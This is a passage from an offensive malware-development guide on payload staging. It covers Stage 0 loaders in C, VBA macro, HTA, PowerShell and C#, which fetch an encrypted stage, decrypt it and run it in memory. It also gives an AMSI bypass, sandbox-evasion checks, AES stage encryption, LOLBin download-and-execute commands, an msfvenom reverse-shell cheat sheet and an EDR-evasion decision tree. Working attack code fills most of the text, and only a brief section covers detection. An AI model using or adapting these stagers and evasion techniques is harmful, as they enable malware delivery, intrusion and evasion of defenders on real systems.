    BYTE  encKey;        // XOR encryption key
    BYTE  reserved[2];
} STAGE_HEADER;

BOOL LoadAndRunStage(LPBYTE pEncStage, SIZE_T stageLen) {
    // Parse header
    STAGE_HEADER* hdr = (STAGE_HEADER*)pEncStage;

    if (hdr->magic != 0xDEADBEEF) {
        printf("[-] Invalid stage magic\n");
        return FALSE;
    }

    LPBYTE pPayload     = pEncStage + sizeof(STAGE_HEADER);
    DWORD  payloadSize  = hdr->payloadSize;
    BYTE   key          = hdr->encKey;

    // Decrypt payload in-place
    for (DWORD i = 0; i < payloadSize; i++)
        pPayload[i] ^= key;

    // Verify checksum
    BYTE check = 0;
    for (DWORD i = 0; i < payloadSize; i++) check ^= pPayload[i];
    if (check != hdr->checksum) {
        printf("[-] Checksum mismatch — stage may be corrupted or intercepted\n");
        SecureZeroMemory(pPayload, payloadSize);
        return FALSE;
    }

    printf("[+] Stage validated and decrypted: %lu bytes\n", payloadSize);

    // Allocate executable memory (RW first)
    LPVOID pExec = VirtualAlloc(NULL, payloadSize,
                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(pExec, pPayload, payloadSize);
    SecureZeroMemory(pPayload, payloadSize);  // Wipe decrypted bytes immediately

    // Flip to RX
    DWORD old;
    VirtualProtect(pExec, payloadSize, PAGE_EXECUTE_READ, &old);

    // Launch in new thread
    HANDLE hThread = CreateThread(NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pExec,
                                  NULL, 0, NULL);
    if (!hThread) {
        printf("[-] CreateThread failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Stage executing in thread\n");
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return TRUE;
}

16.3 Wipe-on-Execute Pattern

// After decryption and execution, wipe memory to frustrate memory forensics
// Do this before VirtualFree — forensic tools can recover freed memory

VOID SecureCleanup(LPVOID pMem, SIZE_T size) {
    // Multi-pass wipe (DoD 5220.22-M style)
    // Pass 1: zeros
    SecureZeroMemory(pMem, size);
    // Pass 2: ones
    memset(pMem, 0xFF, size);
    // Pass 3: random
    for (SIZE_T i = 0; i < size; i++)
        ((BYTE*)pMem)[i] = (BYTE)(rand() % 256);
    // Pass 4: zeros again
    SecureZeroMemory(pMem, size);

    VirtualFree(pMem, 0, MEM_RELEASE);
}

17. Stage 0 Loaders — Fetching & Executing Stages

What it means: The Stage 0 loader (stager) is the tiny initial foothold. Its only job is to retrieve Stage 1 and hand execution off. The loader must be small, signature-free, and capable of various delivery methods. This section covers common Stage 0 patterns.

17.1 Macro-Based Stage 0 (VBA — Office Documents)

' VBA macro stager — Office document delivers this, macro fetches Stage 1
' Attach to AutoOpen() / Document_Open() for auto-execution

Sub AutoOpen()
    FetchAndRun
End Sub

Sub FetchAndRun()
    Dim url As String
    Dim wc As Object
    Dim enc() As Byte
    Dim dec() As Byte
    Dim key As Byte
    Dim i As Long

    url = "https://updates.cdn-provider.com/telemetry.bin"
    key = &H4B   ' XOR key

    ' Fetch stage using XMLHTTP (built-in COM object)
    Set wc = CreateObject("MSXML2.XMLHTTP.6.0")
    wc.Open "GET", url, False
    wc.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    wc.Send

    If wc.Status <> 200 Then Exit Sub

    enc = wc.responseBody

    ' XOR decrypt
    ReDim dec(UBound(enc))
    For i = 0 To UBound(enc)
        dec(i) = enc(i) Xor key
    Next i

    ' Execute via Shell + temp file (simple approach)
    ' OR use P/Invoke via VBA to VirtualAlloc + CreateThread (advanced, fileless)
    Dim tmpPath As String
    tmpPath = Environ("TEMP") & "\~update.bin"

    ' Write to temp file and execute
    Dim ff As Integer
    ff = FreeFile
    Open tmpPath For Binary As #ff
    Put #ff, , dec
    Close #ff

    Shell "rundll32.exe " & tmpPath & ",Run", vbHide
End Sub

17.2 HTA (HTML Application) Stage 0

<!-- malicious.hta — delivered via phishing or drive-by -->
<!-- Executed by mshta.exe — Windows built-in HTA host -->

<html>
<head>
<title>Windows Update</title>
<script language="VBScript">

Sub Window_OnLoad
    FetchStage
End Sub

Sub FetchStage
    Dim xhr, data, key, i, dec(), shell
    Dim url: url = "https://updates.cdn-provider.com/telemetry.bin"
    Dim xorKey: xorKey = &H4B

    Set xhr = CreateObject("Microsoft.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.Send

    data = xhr.responseBody
    ReDim dec(UBound(data))

    ' XOR decrypt bytes
    For i = 0 To UBound(data)
        dec(i) = data(i) Xor xorKey
    Next

    ' Write to ADS and execute via rundll32
    Dim adsPath: adsPath = Environ("TEMP") & "\update.dat:payload"
    ' ... write and execute

    ' Close the HTA window (avoid suspicious window staying open)
    window.close
End Sub

</script>
</head>
<body><p>Checking for updates...</p></body>
</html>

17.3 PowerShell Stage 0 (One-Liner via Encoded Command)

# Encode the stager as a Base64 command for delivery via cmd.exe / phishing

# The stager (to be encoded):
$stager = @'
$wc = New-Object Net.WebClient
$wc.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0)"
$wc.Headers["X-Auth"] = "s3cr3t"
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$enc = $wc.DownloadData("https://192.168.1.100/beacon")
$key = 0x4B
$dec = [byte[]]($enc | % { $_ -bxor $key })
$code = @"
using System; using System.Runtime.InteropServices;
public class L {
    [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint f,uint p);
    [DllImport("kernel32")] public static extern IntPtr CreateThread(IntPtr a,uint s,IntPtr f,IntPtr p,uint c,IntPtr i);
    [DllImport("kernel32")] public static extern uint WaitForSingleObject(IntPtr h,uint ms);
    public static void Run(byte[] sc){
        IntPtr p=VirtualAlloc(IntPtr.Zero,(uint)sc.Length,0x3000,0x40);
        System.Runtime.InteropServices.Marshal.Copy(sc,0,p,sc.Length);
        IntPtr t=CreateThread(IntPtr.Zero,0,p,IntPtr.Zero,0,IntPtr.Zero);
        WaitForSingleObject(t,0xFFFFFFFF);
    }
}
"@
Add-Type -TypeDefinition $code
[L]::Run($dec)
'@

# Encode as Base64 Unicode (required by -EncodedCommand)
$bytes   = [System.Text.Encoding]::Unicode.GetBytes($stager)
$encoded = [Convert]::ToBase64String($bytes)

# Delivery command (put in phishing lure, macro, shortcut):
Write-Host "powershell -NoP -NonI -W Hidden -EncodedCommand $encoded"

# Or with AMSI bypass prepended:
$amsiBypass = '[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')' +
              '.GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);'
$full = $amsiBypass + $stager

17.4 C# Stage 0 (ClickOnce / .NET Delivery)

using System;
using System.Net;
using System.Runtime.InteropServices;

// Tiny C# stager — compile to small EXE, deliver via ClickOnce or phishing
class Stager {
    [DllImport("kernel32")] static extern IntPtr VirtualAlloc(
        IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32")] static extern IntPtr CreateThread(
        IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);
    [DllImport("kernel32")] static extern uint WaitForSingleObject(
        IntPtr h, uint ms);

    static void Main() {
        // Sandbox checks
        if (Environment.TickCount < 300000) return;  // <5 min uptime → sandbox
        if (Environment.UserName == "sandbox") return;

        // Fetch stage
        ServicePointManager.ServerCertificateValidationCallback = (a,b,c,d) => true;
        var wc = new WebClient();
        wc.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
        wc.Headers["X-Auth"]     = "s3cr3t";
        byte[] enc = wc.DownloadData("https://192.168.1.100/beacon");

        // Decrypt
        byte key = 0x4B;
        for (int i = 0; i < enc.Length; i++) enc[i] ^= key;

        // Execute
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)enc.Length, 0x3000, 0x40);
        Marshal.Copy(enc, 0, mem, enc.Length);
        IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(thread, 0xFFFFFFFF);
    }
}

18. Payload Staging with Encryption

What it means: The Stage 1 payload should always be encrypted at rest (on the server or in any storage location) and only decrypted in memory on the victim. Combining staging with encryption from §7 of the Encryption reference gives maximum protection.

Storage Location       → Recommended Encryption   → Key Location
──────────────────────────────────────────────────────────────────
HTTP/HTTPS server      → AES-256-CBC              → Hardcoded in stager
                                                     OR fetched from C2
Registry               → XOR + Base64             → Hardcoded in stager
                                                     (small stager = simple crypto)
DNS TXT                → XOR + Base64             → Hardcoded in stager
                                                     (size limit constrains crypto)
SMB share              → AES-256-CBC              → Derived from hostname/SID
GitHub                 → AES-256-CBC              → Hardcoded in stager
WMI repository         → XOR + Base64             → Hardcoded in stager
Cloud storage (S3)     → AES-256-GCM              → Fetched from separate C2 URL
Named pipe             → No encryption needed     → Pipe connection = auth
Event log              → XOR + Base64             → Hardcoded in stager
File system            → AES-256-CBC              → Env-derived (hostname hash)

18.2 AES-Encrypted Stage with Prepended IV

#!/usr/bin/env python3
# encrypt_stage.py — AES-256-CBC encrypt Stage 1 for staging

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os, sys

if len(sys.argv) < 2:
    print("Usage: python3 encrypt_stage.py stage1.bin")
    sys.exit(1)

with open(sys.argv[1], "rb") as f:
    payload = f.read()

key = os.urandom(32)   # AES-256 key (32 bytes)
iv  = os.urandom(16)   # AES IV (16 bytes)

cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload, 16))

# Prepend IV to ciphertext (stager needs IV to decrypt)
output = iv + encrypted

with open("stage1.enc", "wb") as f:
    f.write(output)

print(f"[+] Stage encrypted: {len(payload)} bytes → {len(output)} bytes")
print(f"[+] AES-256 Key: {key.hex()}")
print(f"[+] IV (first 16 bytes of .enc file)")
print()
print("// Embed key in stager (C):")
print(f"unsigned char aesKey[] = {{ {', '.join(f'0x{b:02x}' for b in key)} }};")

18.3 AES Stage Decryption in Stager (C — BCrypt)

#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
// Link: -lbcrypt

// AES-256-CBC decrypt — stage payload with prepended IV
// Key is hardcoded in stager (or fetched from C2)

unsigned char aesKey[32] = {
    0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
    0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50,
    0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58,
    0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60
};  // Replace with your actual key

LPBYTE AesDecryptStage(LPBYTE pEncStage, SIZE_T stageLen, SIZE_T* decLen) {
    BCRYPT_ALG_HANDLE hAlg   = NULL;
    BCRYPT_KEY_HANDLE hKey   = NULL;
    LPBYTE pKeyObj  = NULL;
    LPBYTE pDecrypted = NULL;
    NTSTATUS status;

    // First 16 bytes of pEncStage = IV
    LPBYTE pIV         = pEncStage;
    LPBYTE pCiphertext = pEncStage + 16;
    SIZE_T cipherLen   = stageLen  - 16;

    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                     (PBYTE)BCRYPT_CHAIN_MODE_CBC,
                     sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

    DWORD keyObjSize = 0, resultSize = 0;
    BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
                     (PBYTE)&keyObjSize, sizeof(DWORD), &resultSize, 0);

    pKeyObj = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, keyObjSize);
    BCryptGenerateSymmetricKey(hAlg, &hKey, pKeyObj, keyObjSize,
                               aesKey, 32, 0);

    // Make a copy of IV (BCrypt modifies it during decryption)
    BYTE ivCopy[16];
    memcpy(ivCopy, pIV, 16);

    DWORD plaintextLen = 0;
    BCryptDecrypt(hKey, pCiphertext, (ULONG)cipherLen, NULL,
                  ivCopy, 16, NULL, 0, &plaintextLen, BCRYPT_BLOCK_PADDING);

    pDecrypted = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, plaintextLen);
    BCryptDecrypt(hKey, pCiphertext, (ULONG)cipherLen, NULL,
                  ivCopy, 16, pDecrypted, plaintextLen,
                  &plaintextLen, BCRYPT_BLOCK_PADDING);

    *decLen = plaintextLen;
    printf("[+] AES-256 decrypted: %lu bytes\n", plaintextLen);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    HeapFree(GetProcessHeap(), 0, pKeyObj);

    // Wipe key from memory
    SecureZeroMemory(aesKey, sizeof(aesKey));
    return pDecrypted;
}

19. Tools Reference

Staging Infrastructure Tools

Tool Type Purpose Source
Cobalt Strike C2 Framework Full staging via HTTP/HTTPS/SMB cobaltstrike.com
Havoc C2 C2 Framework Demon staging over HTTP/HTTPS github.com/HavocFramework/Havoc
Sliver C2 Framework Implant staging, mTLS/WireGuard github.com/BishopFox/sliver
Metasploit Framework Classic staged payloads (handlers) metasploit.com
Covenant .NET C2 .NET stager + HTTP staging github.com/cobbr/Covenant
Mythic C2 Framework Modular staging architecture github.com/its-a-feature/Mythic

Stager Generation Tools

Tool Purpose Notes
msfvenom Generate staged shellcode stagers -p windows/x64/meterpreter/reverse_tcp
Donut Convert PE/DLL to reflective shellcode github.com/TheWover/donut
GadgetToJScript .NET assembly to JS/VBA stager Bypasses AMSI in macro context
SharpCradle .NET stage fetcher Execute assembly from UNC/HTTP
ScareCrow Staged loader generation EDR evasion focus
Freeze Go-based stager with sandbox evasion github.com/optiv/Freeze

Infrastructure / Redirector Tools

Tool Purpose
Apache mod_rewrite HTTP redirector — forward staging requests only
Nginx Reverse proxy redirector with geo-blocking
Socat Port forwarder for simple redirector setup
Cloudflare CDN + domain fronting for HTTPS staging
Redirector.py Simple Python HTTP redirect server

Detection / Blue Team Tools

Tool Purpose
Zeek (Bro) Network traffic analysis — logs all HTTP/DNS/SMB
Sysmon + ELK Process, file, network, registry event correlation
WMI-Persistence-Hunter Enumerate WMI subscriptions and custom classes
Get-InjectedThread.ps1 Find threads in unbacked memory
Volatility Memory forensics — find staged payloads in RAM

20. Detection & Evasion

20.1 Detection Vectors by Technique

HTTP/HTTPS Staging:
  [HIGH]    → Outbound HTTPS from unusual process to low-rep domain
  [HIGH]    → HTTP response with PE/shellcode magic bytes (MZ, 0xFC48...)
  [MEDIUM]  → Large binary download from non-browser process
  [MEDIUM]  → JA3 TLS fingerprint mismatch (C# WebClient ≠ Chrome)
  [LOW]     → Download from amazonaws.com/github.com (low suspicion but logged)

Registry Staging:
  [HIGH]    → Sysmon 13: REG_SZ write >4KB to non-standard value name
  [HIGH]    → Registry write containing Base64 blob in HKCU Software\Classes
  [MEDIUM]  → Unusually large registry value in common key paths
  [LOW]     → Value name matches legitimate Windows keys

DNS TXT Staging:
  [HIGH]    → DNS TXT queries from non-DNS-related process
  [HIGH]    → DNS TXT response >500 bytes with high entropy content
  [MEDIUM]  → Multiple sequential TXT queries to same domain
  [LOW]     → DNS TXT query to uncategorized domain

WMI Staging:
  [HIGH]    → Sysmon 19-21: WMI class creation in root\subscription
  [HIGH]    → WMI class property containing >10KB string value
  [MEDIUM]  → Non-system process querying custom WMI class
  [LOW]     → WMI activity to root\subscription namespace

Event Log Staging:
  [HIGH]    → Application log event with Base64 content
  [HIGH]    → Custom event source writing large string messages
  [MEDIUM]  → Sequential high-event-ID entries with similar structure

ADS Staging:
  [HIGH]    → Sysmon 15: FileCreateStreamHash on non-Zone.Identifier stream
  [MEDIUM]  → Stream name is not Zone.Identifier or SmartScreen

20.2 Evasion Techniques

1. Staging Traffic Jitter — Timing Randomization

// Add random delay before fetching stage
// Sandbox systems often run with accelerated timers — this also helps sandbox evasion
DWORD jitter = 30000 + (rand() % 60000);  // 30–90 second random delay
Sleep(jitter);

// Or use NtDelayExecution for less-detectable sleep

2. Sandbox Evasion Before Fetch

// Only fetch the stage if we're in a real environment
// Sandbox systems often fail multiple of these checks:

BOOL IsRealEnvironment(void) {
    // Check 1: System uptime > 5 minutes (sandboxes reset quickly)
    if (GetTickCount64() < 300000) return FALSE;

    // Check 2: Number of running processes > 30
    DWORD pids[1024]; DWORD bytes;
    EnumProcesses(pids, sizeof(pids), &bytes);
    if ((bytes / sizeof(DWORD)) < 30) return FALSE;

    // Check 3: Check for mouse movement (sandbox = no user interaction)
    POINT p1, p2;
    GetCursorPos(&p1);
    Sleep(3000);
    GetCursorPos(&p2);
    if (p1.x == p2.x && p1.y == p2.y) return FALSE;

    // Check 4: Disk size > 100GB (sandbox VMs often have small disks)
    ULARGE_INTEGER freeBytes, totalBytes, totalFreeBytes;
    GetDiskFreeSpaceExW(L"C:\\", &freeBytes, &totalBytes, &totalFreeBytes);
    if (totalBytes.QuadPart < (100ULL * 1024 * 1024 * 1024)) return FALSE;

    return TRUE;
}

3. Domain/IP Reputation Gating

// Only fetch from attacker if victim's external IP is in expected range
// (Prevents sandboxes with non-corporate IPs from triggering stage fetch)

// Approach: make a benign GET to ifconfig.me, check the IP
// If IP is not in expected ranges → don't fetch stage
// This requires knowing target's IP ranges in advance (from OSINT)

4. TLS Fingerprint Matching

# PowerShell uses WinINet/SSPI for TLS → JA3 fingerprint
# matches normal Windows HTTPS clients
# Prefer PowerShell/WinINet over .NET HttpClient for blending

# Compare JA3 hashes:
# Chrome:        66918128f1b9b03303d77c6f2eefd128
# PowerShell:    differs but consistent and common
# meterpreter:   b386946a5a3dcd7b42b85e1bdeee2d9e (flagged by NIDS)

5. Staged Payload Fragmentation (Chunked Delivery)

# Split stage across multiple requests to avoid large-file detection
# Each request delivers a 50KB chunk instead of one 300KB download

# Server: serves chunk by byte range
@app.route("/update")
def serve_chunk():
    chunk_num = int(request.args.get("c", 0))
    with open("stage1.enc", "rb") as f:
        f.seek(chunk_num * 51200)
        data = f.read(51200)
    return data, 200, {"Content-Type": "application/octet-stream"}

# Stager: fetches chunks sequentially
# GET /update?c=0 → first 50KB
# GET /update?c=1 → next 50KB
# ...
# Assemble in memory, then decrypt and execute

6. Living off the Land for Stage Fetch

:: Use LOLBins to fetch the stage instead of custom binary
:: certutil — built-in, often allowed
certutil -urlcache -split -f https://192.168.1.100/update.bin %TEMP%\update.bin

:: bitsadmin — background transfer, less monitored in some environments
bitsadmin /transfer update /download /priority high ^
    https://192.168.1.100/update.bin %TEMP%\update.bin

:: PowerShell webclient via LOLBin
:: msiexec can fetch MSI from URL (MSI wraps stager)
msiexec /i https://192.168.1.100/update.msi /quiet /norestart

:: regsvr32 (squiblydoo) — fetches and executes COM scriptlet
regsvr32 /s /n /u /i:https://192.168.1.100/update.sct scrobj.dll

21. Comparison Matrix

Technique Survives Reboot Disk Artifact Net Traffic Size Limit Admin Needed EDR Detection OPSEC Level
HTTP/HTTPS No (pull) No Yes None No High Low–Medium
HTTPS + CDN No (pull) No Yes None No Low High
Registry (HKCU) Yes Registry only No ~1MB No Medium Medium
File System Yes Yes No None No High Low
Environment Variable Yes (setx) Registry only No ~32KB No Low Medium
ADS Yes NTFS stream No ~64KB No High Low
Event Log Yes (until wrap) Event log No ~4KB/event No Medium Medium
DNS TXT No (pull) No DNS only ~4KB/record No Medium Medium
SMB Share No (pull) No SMB None Sometimes Medium Medium
Cloud (S3/Azure) No (pull) No HTTPS to CDN None No Low High
GitHub No (pull) No HTTPS to GitHub None No Very Low Very High
WMI Repository Yes WMI repo No ~MB No Medium Medium
Named Pipe No No Local/SMB None No Low High
In-Memory (reflective) No NO artifact Depends on fetch None No Very Low Very High

22. Cheat Sheet

Quick Workflow — Build → Encrypt → Stage → Retrieve

# Step 1: Generate Stage 1 payload (raw shellcode)
msfvenom -p windows/x64/meterpreter_reverse_https \
    LHOST=192.168.1.100 LPORT=443 -f raw -o stage1.bin

# Step 2: Encrypt Stage 1
python3 encrypt_stage.py stage1.bin
# Output: stage1.enc (AES-256-CBC encrypted, IV prepended)
# Output: key printed to console → embed in stager

# Step 3A: Stage via HTTP — host on Python server
python3 stage_server.py  # Serves stage1.enc on port 443

# Step 3B: Stage via Registry — plant on target
python3 plant_registry_stage.py  # Requires access to target

# Step 3C: Stage via GitHub — upload to repo
git add stage1.enc && git commit -m "Update assets" && git push

# Step 4: Build stager with key embedded
# Edit stager.c: set STAGE_HOST, STAGE_PATH, aesKey[]
x86_64-w64-mingw32-gcc stager.c -o stager.exe -lwininet -lbcrypt -lcrypt32

# Step 5: Deliver stager (phishing, macro, USB, exploit)
# Stager executes → fetches stage1.enc → decrypts → runs in memory

Staging Location Quick Reference

Fastest to set up:
  1. Python HTTPS server      → 1 command, host stage1.enc
  2. GitHub raw URL           → push file, use raw URL
  3. S3 bucket                → aws s3 cp + public-read ACL

Most stealthy:
  1. HTTPS via CDN/Cloudflare → traffic looks like CDN
  2. GitHub raw URL           → traffic to github.com
  3. Azure Blob / S3          → traffic to Microsoft/Amazon

No network traffic:
  1. Registry (HKCU)          → pre-planted, survives reboot
  2. WMI repository           → pre-planted, survives reboot
  3. ADS (NTFS stream)        → pre-planted, survives reboot

Survives reboot without network:
  1. Registry                 → HKCU\...\value
  2. WMI                      → root\subscription class instance
  3. Environment variable     → setx (writes to registry)

Stage Encryption Quick Reference

For HTTP/HTTPS staging:   AES-256-CBC (key in stager, IV prepended to payload)
For Registry staging:     XOR + Base64 (small overhead, no external deps)
For DNS TXT staging:      XOR + Base64 (size constraint — keep it small)
For WMI staging:          XOR + Base64 (simple, low dependency)
For SMB staging:          AES-256-CBC (strong, can afford larger key overhead)
For Cloud staging:        AES-256-GCM (authenticated — detect tampering in transit)

Sandbox Evasion Checks (Stager)

// Minimum checks before fetching stage:
if (GetTickCount64() < 300000) return;   // Uptime < 5 min = sandbox
if (IsDebuggerPresent())       return;   // Debugger attached
if (GetSystemMetrics(SM_CXSCREEN) < 800) return;  // Small screen = sandbox
// Mouse movement check, disk size check (see §20.2)

Key PowerShell Stager Commands

# HTTP fetch + XOR decrypt + execute
$e = (New-Object Net.WebClient).DownloadData("https://host/beacon")
$d = [byte[]]($e | % { $_ -bxor 0x4B })

# Registry read + XOR decrypt
$b64 = (Get-ItemProperty "HKCU:\Soft\MS\Win\CV\Expl\Adv" -Name "EnableBalloonTips").EnableBalloonTips
$e   = [Convert]::FromBase64String($b64)
$d   = [byte[]]($e | % { $_ -bxor 0x4B })

# WMI read
$d = [Convert]::FromBase64String(
    (Get-WmiObject -Namespace root\subscription `
                   -Query "SELECT CacheData FROM WindowsTelemetryCache").CacheData)

# Execute (P/Invoke)
Add-Type -TypeDefinition '...' ; [L]::Run($d)

# AMSI bypass (prepend to any PS stager)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
    GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Decision Tree — Which Staging Method?

Need to stage a payload?
│
├─ Internet connectivity on target?
│   ├─ YES:
│   │   ├─ Web proxy / SSL inspection present?
│   │   │   ├─ YES → Cloud staging (S3/GitHub) — domain whitelisted
│   │   │   └─ NO  → HTTPS server + CDN redirector
│   │   │
│   │   ├─ DNS filtering in place?
│   │   │   └─ YES → Avoid DNS TXT; use HTTPS cloud staging
│   │   │
│   │   └─ Need long-term reachability?
│   │       └─ GitHub or S3 (stable, high-availability CDN)
│   │
│   └─ NO (internal / air-gapped):
│       ├─ Pre-plant before losing access?
│       │   ├─ Registry (HKCU)    → simple, no admin
│       │   ├─ WMI repository     → stealthier, no file
│       │   └─ ADS                → NTFS only, Sysmon detects
│       │
│       └─ Can reach internal SMB share?
│           └─ SMB UNC path staging → east-west, proxy-free
│
├─ EDR level on target?
│   ├─ Heavy (CrowdStrike/SentinelOne):
│   │   └─ In-memory reflective staging + sandbox evasion
│   │       + AES-256 encryption + CDN domain fronting
│   │
│   ├─ Moderate (Defender + Sysmon):
│   │   └─ HTTPS staging + XOR/AES encrypt + avoid RWX pages
│   │
│   └─ Light (basic AV):
│       └─ Any method; HTTP staging with XOR is sufficient
│
└─ Persistence needed?
    ├─ YES → Registry or WMI staging (survived reboot)
    │         + persistence mechanism to re-run stager
    └─ NO  → In-memory HTTP fetch (cleanest, no artifacts)

References & Tools

Frameworks & Stager Generation: - Cobalt Strike documentation — Staging architecture, Malleable C2 profiles - Havoc C2 — https://github.com/HavocFramework/Havoc - Sliver — https://github.com/BishopFox/sliver - Donut — https://github.com/TheWover/donut (PE → shellcode for staging) - GadgetToJScript — https://github.com/med0x2e/GadgetToJScript

Registry / WMI Techniques: - Living Off The Land — LOLBAS — https://lolbas-project.github.io - WMI Offense, Defense, and Forensics — FireEye whitepaper - ired.team WMI persistence — https://www.ired.team/offensive-security

Evasion Research: - Freeze — https://github.com/optiv/Freeze (sandbox evasion + staging) - ScareCrow — https://github.com/Tylous/ScareCrow - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck

Infrastructure: - Apache mod_rewrite recipes — https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-redirects/ - Redirecting Cobalt Strike Profiles — Jeff Dimmock - Domain Fronting via CDN — research.checkpoint.com

Detection / Blue Team: - Sysmon configuration — https://github.com/SwiftOnSecurity/sysmon-config - Sigma rules — staged payload detection — github.com/SigmaHQ/sigma - Hunting staged payloads with Zeek — corelight.com


← Malware development top ↑